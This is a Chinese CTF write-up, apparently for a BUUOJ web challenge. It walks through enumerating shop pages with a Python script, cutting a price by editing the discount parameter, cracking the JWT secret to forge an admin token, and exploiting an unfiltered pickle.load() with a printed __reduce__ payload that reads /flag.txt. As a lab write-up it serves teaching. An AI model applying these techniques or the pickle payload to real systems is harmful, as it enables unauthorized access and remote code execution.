进来看完ctrl的kunkun,hint说要买lv6

显然是一个跑目录的操作,这里可以看出直接找lv6.png这个图片就行,写个小脚本爆出来(贼慢,带点耐心)

1
2
3
4
5
6
7
8
import requests
url="http://3162c274-c0d1-413f-9dc2-1395d15911c5.node3.buuoj.cn/shop?page="

for i in range(0,999):
r=requests.get(url+str(i))
if 'lv6.png' in r.text:
print(i)
break

跑出来是181页,直接访问

显然是买不起,抓个包试试有无逻辑漏洞

就这俩参数,改改看,(改折扣为一个很小的数就可以过)

进去之后需要admin,先给抓个包康康,发现有JWT,先丢进 https://www.jsonwebtoken.io/ 里面看看

对用户名进行替换,这里需要一个JWT的工具

可以直接跑出key

然后如图所示构造JWT,发包,通过。

通过后在页面源码里找到一个下载地址,把源码下载到手,进行分析

因为有提示是pickle,直接搜,在Admin.py里面有一个pickle.load(),没有任何过滤的情况下,直接reduce一把梭

exp:

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

这里用了python2,因为用python3的结果和python2不一样(之后队友告诉我因为python2用的0号协议,而python3是3号协议,tql)

flag到手